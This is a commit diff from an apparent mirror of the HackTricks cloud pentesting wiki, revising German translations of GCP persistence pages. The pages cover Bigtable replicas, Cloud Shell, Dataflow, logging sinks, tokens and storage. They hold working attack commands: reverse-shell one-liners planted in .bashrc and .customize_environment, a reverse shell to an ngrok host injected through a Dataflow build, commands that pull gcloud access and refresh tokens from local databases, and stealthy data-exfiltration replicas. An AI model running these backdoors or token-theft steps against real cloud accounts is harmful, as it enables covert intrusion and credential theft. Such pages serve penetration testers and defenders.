mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-loggi
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
Weitere Informationen zu Bigtable:
|
||||
Für weitere Informationen über Bigtable siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
@@ -14,7 +14,11 @@ Weitere Informationen zu Bigtable:
|
||||
|
||||
**Berechtigungen:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Erstelle ein App-Profil, das den Traffic zu deinem Replica-Cluster weiterleitet, und aktiviere Data Boost, damit du nicht von bereitgestellten Knoten abhängig bist, die Verteidiger bemerken könnten.
|
||||
Erstelle ein App-Profil, das den Traffic zu deinem Replica-Cluster weiterleitet, und aktiviere Data Boost, damit du niemals von bereitgestellten Knoten abhängig bist, die Verteidiger bemerken könnten.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Erstelle stealth App-Profil</summary>
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Solange dieses Profil existiert, kannst du dich mit neuen Anmeldeinformationen, die darauf verweisen, wieder verbinden.
|
||||
</details>
|
||||
|
||||
### Unterhalte deinen eigenen Replikat-Cluster
|
||||
Solange dieses Profil existiert, kannst du dich mit frischen Anmeldedaten, die darauf verweisen, wieder verbinden.
|
||||
|
||||
**Permissions:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
### Eigenen Replikat-Cluster betreiben
|
||||
|
||||
Stelle einen Cluster mit minimaler Knotenanzahl in einer ruhigen Region bereit. Selbst wenn deine Client-Identitäten verschwinden, **behält der Cluster eine vollständige Kopie jeder Tabelle**, bis die Verteidiger sie explizit entfernen.
|
||||
**Berechtigungen:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Stelle einen Cluster mit minimaler Knotenanzahl in einer unauffälligen Region bereit. Selbst wenn deine Client-Identitäten verschwinden, **behält der Cluster eine vollständige Kopie jeder Tabelle**, bis Verteidiger sie explizit entfernen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Replikat-Cluster erstellen</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Behalte es über `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` im Auge, damit du bei Bedarf sofort hochskalieren kannst, um Daten zu ziehen.
|
||||
</details>
|
||||
|
||||
### Replikation hinter deiner eigenen CMEK absichern
|
||||
Behalte es im Auge mit `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` damit du bei Bedarf sofort hochskalieren kannst, wenn du Daten abrufen musst.
|
||||
|
||||
**Berechtigungen:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
### Replikation hinter deinem eigenen CMEK sperren
|
||||
|
||||
Bringe deinen eigenen KMS-Key mit, wenn du einen Clone hochziehst. Ohne diesen Key kann Google den Cluster nicht neu erstellen oder fail over durchführen, daher müssen blue teams sich mit dir abstimmen, bevor sie ihn anfassen.
|
||||
**Berechtigungen:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` auf dem vom Angreifer kontrollierten Schlüssel.
|
||||
|
||||
Bringe beim Erstellen eines Clones deinen eigenen KMS-Schlüssel mit. Ohne diesen Schlüssel kann Google den Cluster nicht neu erstellen oder einen Failover durchführen, sodass blue teams sich mit dir abstimmen müssen, bevor sie ihn anfassen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>CMEK-geschützten Cluster erstellen</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Rotieren oder deaktivieren Sie den Schlüssel in Ihrem Projekt, um das Replikat sofort unbrauchbar zu machen (wobei Sie den Schlüssel später wieder aktivieren können).
|
||||
</details>
|
||||
|
||||
Rotiere oder deaktiviere den Schlüssel in deinem Projekt, um die Replica sofort zu bricken (du kannst ihn später wieder aktivieren).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,51 +10,69 @@ Für weitere Informationen siehe:
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistente Hintertür
|
||||
### Persistente Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) bietet Ihnen direkten Zugriff auf Ihre Cloud-Ressourcen über die Befehlszeile direkt aus Ihrem Browser, ohne damit verbundene Kosten.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) bietet dir Zugriff auf die Kommandozeile deiner Cloud-Ressourcen direkt im Browser, ohne dass Kosten anfallen.
|
||||
|
||||
Sie können auf die Google Cloud Shell über die **Web-Konsole** oder durch Ausführen von **`gcloud cloud-shell ssh`** zugreifen.
|
||||
Du kannst auf Google Cloud Shell über die Web-Konsole oder durch Ausführen von **`gcloud cloud-shell ssh`** zugreifen.
|
||||
|
||||
Diese Konsole hat einige interessante Fähigkeiten für Angreifer:
|
||||
Diese Konsole bietet Angreifern einige interessante Möglichkeiten:
|
||||
|
||||
1. **Jeder Google-Nutzer mit Zugriff auf Google Cloud** hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (Dienstkonten können dies, selbst wenn sie Eigentümer der Organisation sind).
|
||||
2. Diese Instanz wird **ihr Home-Verzeichnis für mindestens 120 Tage beibehalten**, wenn keine Aktivität stattfindet.
|
||||
3. Es gibt **keine Möglichkeiten für eine Organisation, die Aktivität** dieser Instanz zu überwachen.
|
||||
1. **Jeder Google-Nutzer mit Zugriff auf Google Cloud** hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (Service Accounts können das ebenfalls, sogar wenn sie Owners der Organisation sind).
|
||||
2. Diese Instanz wird **ihr Home-Verzeichnis für mindestens 120 Tage** behalten, wenn keine Aktivität stattfindet.
|
||||
3. Eine Organisation hat **keine Möglichkeit**, die Aktivität dieser Instanz zu überwachen.
|
||||
|
||||
Das bedeutet im Grunde, dass ein Angreifer eine Hintertür im Home-Verzeichnis des Benutzers platzieren kann, und solange der Benutzer alle 120 Tage mindestens eine Verbindung zur GC Shell herstellt, wird die Hintertür überleben und der Angreifer erhält jedes Mal eine Shell, wenn sie ausgeführt wird, indem er einfach:
|
||||
Das bedeutet im Wesentlichen, dass ein Angreifer eine Backdoor im Home-Verzeichnis des Nutzers platzieren kann und solange der Nutzer mindestens alle 120days eine Verbindung zur GC Shell herstellt, die Backdoor erhalten bleibt und der Angreifer jedes Mal eine Shell erhält, wenn sie ausgeführt wird, einfach indem er:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add reverse shell to .bashrc</summary>
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
Es gibt eine weitere Datei im Home-Verzeichnis namens **`.customize_environment`**, die, falls sie existiert, **jedes Mal** ausgeführt wird, wenn der Benutzer auf die **cloud shell** zugreift (wie in der vorherigen Technik). Fügen Sie einfach die vorherige Hintertür oder eine wie die folgende ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die **cloud shell** "häufig" verwendet:
|
||||
</details>
|
||||
|
||||
Im Home-Verzeichnis gibt es eine weitere Datei namens **`.customize_environment`**, die, falls sie existiert, **bei jedem Zugriff** des Benutzers auf die cloud shell ausgeführt wird (wie bei der vorherigen Technik). Fügen Sie einfach die vorherige backdoor oder eine wie die folgende ein, um persistence aufrechtzuerhalten, solange der Benutzer die cloud shell "häufig" verwendet:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor in .customize_environment erstellen</summary>
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
> [!WARNING]
|
||||
> Es ist wichtig zu beachten, dass beim **ersten Mal, wenn eine Aktion, die eine Authentifizierung erfordert, ausgeführt wird**, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, könnte dies Verdacht erregen und potenziell die verwendete Persistenzmethode gefährden.
|
||||
</details>
|
||||
|
||||
Dies ist das Pop-up von der Ausführung von `gcloud projects list` aus der Cloud-Shell (als Angreifer) im Benutzer-Sitzung des Browsers gesehen:
|
||||
> [!WARNING]
|
||||
> Es ist wichtig zu beachten, dass beim **ersten Mal, wenn eine Aktion ausgeführt wird, die Authentifizierung erfordert**, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, kann das Misstrauen erregen und die verwendete persistence method potenziell kompromittieren.
|
||||
|
||||
Dies ist das Pop-up, das beim Ausführen von `gcloud projects list` aus der Cloud Shell (als Angreifer) in der Browsersitzung des Benutzers angezeigt wird:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn der Benutzer jedoch die Cloud-Shell aktiv genutzt hat, wird das Pop-up nicht erscheinen und Sie können **Tokens des Benutzers mit**:
|
||||
Wenn der Benutzer die Cloud Shell jedoch aktiv genutzt hat, erscheint das Pop-up nicht und Sie können **tokens des Benutzers mit**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Access tokens aus Cloud Shell abrufen</summary>
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
#### Wie die SSH-Verbindung hergestellt wird
|
||||
|
||||
Grundsätzlich werden diese 3 API-Aufrufe verwendet:
|
||||
Im Wesentlichen werden diese 3 API-Aufrufe verwendet:
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (wird Sie auffordern, Ihren lokal erstellten öffentlichen Schlüssel hinzuzufügen)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (wird Sie auffordern, die Instanz zu starten)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (wird Ihnen die IP des Google Cloud Shell mitteilen)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (wird dich dazu bringen, deinen lokal erstellten public key hinzuzufügen)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (startet die instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (liefert dir die ip der google cloud shell)
|
||||
|
||||
Weitere Informationen finden Sie unter [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
Weitere Informationen findest du unter [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## Referenzen
|
||||
## Quellen
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Dataflow Persistence
|
||||
# GCP - Dataflow Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,11 @@
|
||||
|
||||
### Unsichtbare Persistenz im erstellten Container
|
||||
|
||||
Folgend dem [**Tutorial aus der Dokumentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) können Sie eine neue (z.B. Python) Flex-Vorlage erstellen:
|
||||
Mit dem [**Tutorial aus der Dokumentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) können Sie eine neue (z. B. python) flex template erstellen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create Dataflow flex template with backdoor</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**Während es gebaut wird, erhalten Sie eine Reverse-Shell** (Sie könnten Umgebungsvariablen wie im vorherigen Beispiel oder andere Parameter missbrauchen, die die Docker-Datei festlegen, um beliebige Dinge auszuführen). In diesem Moment ist es innerhalb der Reverse-Shell möglich, **in das Verzeichnis `/template` zu gehen und den Code des Haupt-Python-Skripts zu ändern, das ausgeführt wird (in unserem Beispiel ist dies `getting_started.py`)**. Setzen Sie hier Ihre Hintertür, damit sie jedes Mal ausgeführt wird, wenn der Job ausgeführt wird.
|
||||
</details>
|
||||
|
||||
Dann wird beim nächsten Mal, wenn der Job ausgeführt wird, der kompromittierte Container ausgeführt:
|
||||
**Während es gebaut wird, bekommst du eine reverse shell** (du könntest env variables wie im vorherigen Beispiel oder andere params missbrauchen, die die Docker file so setzen, dass sie beliebige Dinge ausführt). In diesem Moment, innerhalb der reverse shell, ist es möglich, **ins `/template`-Verzeichnis zu gehen und den Code des main python script zu ändern, das ausgeführt wird (in unserem Beispiel ist das `getting_started.py`)**. Platziere hier deine backdoor, damit sie bei jeder Ausführung des Jobs ausgeführt wird.
|
||||
|
||||
Dann wird beim nächsten Ausführen des Jobs der kompromittierte, erstellte Container gestartet:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dataflow-Template ausführen</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Protokollierung
|
||||
## Logging
|
||||
|
||||
Finden Sie weitere Informationen zur Protokollierung in:
|
||||
Weitere Informationen zu Logging findest du in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,8 +12,14 @@ Finden Sie weitere Informationen zur Protokollierung in:
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Erstellen Sie einen Sink, um die Protokolle an ein für Angreifer zugängliches Ziel zu exfiltrieren:
|
||||
Erstelle einen sink, um die logs an ein für Angreifer zugängliches Ziel zu exfiltrieren:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Logging sink erstellen</summary>
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,51 +1,79 @@
|
||||
# GCP - Token Persistence
|
||||
# GCP - Token Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authentifizierte Benutzertoken
|
||||
### Authentifizierte Benutzer-Token
|
||||
|
||||
Um das **aktuelle Token** eines Benutzers zu erhalten, können Sie Folgendes ausführen:
|
||||
Um den **aktuellen Token** eines Benutzers zu erhalten, kannst du ausführen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Access-Token aus SQLite-Datenbank abrufen</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Überprüfen Sie auf dieser Seite, wie Sie **dieses Token direkt mit gcloud verwenden**:
|
||||
</details>
|
||||
|
||||
Sieh auf dieser Seite nach, wie man dieses Token direkt mit gcloud verwendet:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
Um die Details zur **Generierung eines neuen Zugriffstokens** zu erhalten, führen Sie aus:
|
||||
Um die Details zum **Generieren eines neuen access tokens** zu erhalten, führe aus:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Refresh token aus der SQLite-Datenbank holen</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Es ist auch möglich, Refresh-Token in **`$HOME/.config/gcloud/application_default_credentials.json`** und in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** zu finden.
|
||||
</details>
|
||||
|
||||
Um ein neues aktualisiertes Zugriffstoken mit dem **Refresh-Token**, der Client-ID und dem Client-Secret zu erhalten, führen Sie aus:
|
||||
Es ist außerdem möglich, refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** und in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** zu finden.
|
||||
|
||||
Um ein neues, aktualisiertes access token mit dem **refresh token**, der client ID und dem client secret zu erhalten, führe aus:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Neues access token mit refresh token abrufen</summary>
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
Die Gültigkeit der Refresh-Token kann in **Admin** > **Sicherheit** > **Google Cloud-Sitzungskontrolle** verwaltet werden, und standardmäßig ist sie auf 16 Stunden eingestellt, obwohl sie so konfiguriert werden kann, dass sie niemals abläuft:
|
||||
</details>
|
||||
|
||||
Die Gültigkeit von Refresh-Tokens kann unter **Admin** > **Security** > **Google Cloud session control** verwaltet werden; standardmäßig ist sie auf 16h gesetzt, kann aber auf "niemals ablaufen" eingestellt werden:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth-Flow
|
||||
### Authentifizierungsablauf
|
||||
|
||||
Der Authentifizierungsfluss bei der Verwendung von etwas wie `gcloud auth login` öffnet ein Eingabeaufforderung im Browser, und nachdem alle Berechtigungen akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den von dem Tool geöffneten HTTP-Port:
|
||||
Der Authentifizierungsablauf bei Verwendung von beispielsweise `gcloud auth login` öffnet eine Eingabeaufforderung im Browser, und nachdem alle Scopes akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den vom Tool geöffneten http-Port:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Dann wird gcloud den Zustand und den Code mit einer fest codierten `client_id` (`32555940559.apps.googleusercontent.com`) und **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) verwenden, um die **finalen Refresh-Token-Daten** zu erhalten.
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Refresh-Token zu erhalten. Diese Daten sind jedoch nur 1 Mal gültig, daher wäre dies nutzlos; es ist einfacher, das Refresh-Token aus der Datei zu lesen.
|
||||
> Beachte, dass die Kommunikation mit localhost über HTTP erfolgt, daher ist es möglich, die Daten abzufangen, um einen refresh token zu erhalten. Diese Daten sind jedoch nur einmal gültig, weshalb das Abfangen nutzlos wäre — es ist einfacher, den refresh token direkt aus der Datei zu lesen.
|
||||
|
||||
### OAuth Scopes
|
||||
### OAuth-Scopes
|
||||
|
||||
Sie finden alle Google-Scope in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) oder erhalten sie, indem Sie ausführen:
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alle Google OAuth-Scopes abrufen</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
Es ist möglich zu sehen, welche Scopes die Anwendung, die **`gcloud`** zur Authentifizierung verwendet, unterstützen kann, mit diesem Skript:
|
||||
</details>
|
||||
|
||||
Es ist möglich zu sehen, welche Scopes die Anwendung, die **`gcloud`** zur Authentifizierung verwendet, mit diesem Skript unterstützen kann:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützte Scopes für gcloud testen</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +83,9 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Nach der Ausführung wurde überprüft, dass diese App die folgenden Scopes unterstützt:
|
||||
</details>
|
||||
|
||||
Nach der Ausführung wurde geprüft, dass diese App folgende Scopes unterstützt:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,24 +95,24 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
es ist interessant zu sehen, wie diese App den **`drive`** Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.
|
||||
es ist interessant zu sehen, wie diese App den **`drive`**-Scope unterstützt, was einem Benutzer erlauben könnte, von GCP zu Workspace zu eskalieren, wenn ein Angreifer den Benutzer dazu bringt, ein Token mit diesem Scope zu erzeugen.
|
||||
|
||||
**Überprüfen Sie, wie Sie** [**das hier ausnutzen können**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
**Siehe, wie man das** [**hier missbraucht**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Dienstkonten
|
||||
### Service Accounts
|
||||
|
||||
Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die **private Schlüsseldatei** eines Dienstkontos zu **kompromittieren, können Sie in der Regel so lange darauf zugreifen, wie Sie möchten**.\
|
||||
Wenn Sie jedoch das **OAuth-Token** eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das **OAuth-Token gültig, bis es abläuft, selbst wenn das Opfer den privaten API-Schlüssel löscht**.
|
||||
Wie bei authentifizierten Benutzern gilt: Wenn es dir gelingt, die **private key file** eines service account zu kompromittieren, kannst du normalerweise **so lange darauf zugreifen, wie du willst**.\
|
||||
Wenn du jedoch den **OAuth token** eines service account stiehlst, kann das noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur etwa eine Stunde gültig sind, bleibt der **OAuh token** gültig, bis er abläuft, falls das Opfer den privaten api key löscht.
|
||||
|
||||
### Metadaten
|
||||
### Metadata
|
||||
|
||||
Offensichtlich können Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, **auf das Dienstkonto zugreifen, das an dieser Maschine angehängt ist, indem Sie den Metadaten-Endpunkt kontaktieren** (beachten Sie, dass die Oauth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).
|
||||
Offensichtlich kannst du, solange du dich auf einer Maschine im GCP-Umfeld befindest, **auf den service account zugreifen, der an diese Maschine angehängt ist, indem du den metadata endpoint kontaktierst** (beachte, dass die Oauth tokens, auf die du über diesen Endpoint zugreifen kannst, normalerweise durch Scopes eingeschränkt sind).
|
||||
|
||||
### Abhilfemaßnahmen
|
||||
### Remediations
|
||||
|
||||
Einige Abhilfemaßnahmen für diese Techniken werden in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) erklärt.
|
||||
Einige Gegenmaßnahmen für diese Techniken werden in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) erklärt.
|
||||
|
||||
### Referenzen
|
||||
### References
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Speicherpersistenz
|
||||
# GCP - Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Speicher
|
||||
## Storage
|
||||
|
||||
Für weitere Informationen über Cloud Storage siehe:
|
||||
Für weitere Informationen zu Cloud Storage siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,7 +12,11 @@ Für weitere Informationen über Cloud Storage siehe:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Sie können einen HMAC erstellen, um die Persistenz über einen Bucket aufrechtzuerhalten. Für weitere Informationen zu dieser Technik [**sehen Sie hier nach**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
Sie können einen HMAC erstellen, um Persistenz für einen Bucket aufrechtzuerhalten. Für weitere Informationen zu dieser Technik [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HMAC-Schlüssel für Storage-Zugriff erstellen und verwenden</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -23,11 +27,13 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
Ein weiteres Exploit-Skript für diese Methode kann [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) gefunden werden.
|
||||
</details>
|
||||
|
||||
### Öffentliches Zugriffsrecht gewähren
|
||||
Ein weiteres exploit script für diese Methode kann [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) gefunden werden.
|
||||
|
||||
**Einen Bucket öffentlich zugänglich machen** ist eine weitere Möglichkeit, den Zugriff auf den Bucket aufrechtzuerhalten. Überprüfen Sie, wie es geht in:
|
||||
### Öffentlich zugänglich machen
|
||||
|
||||
**Einen Bucket öffentlich zugänglich machen** ist eine weitere Möglichkeit, den Zugriff auf den Bucket aufrechtzuerhalten. Siehe, wie das geht in:
|
||||
|
||||
{{#ref}}
|
||||
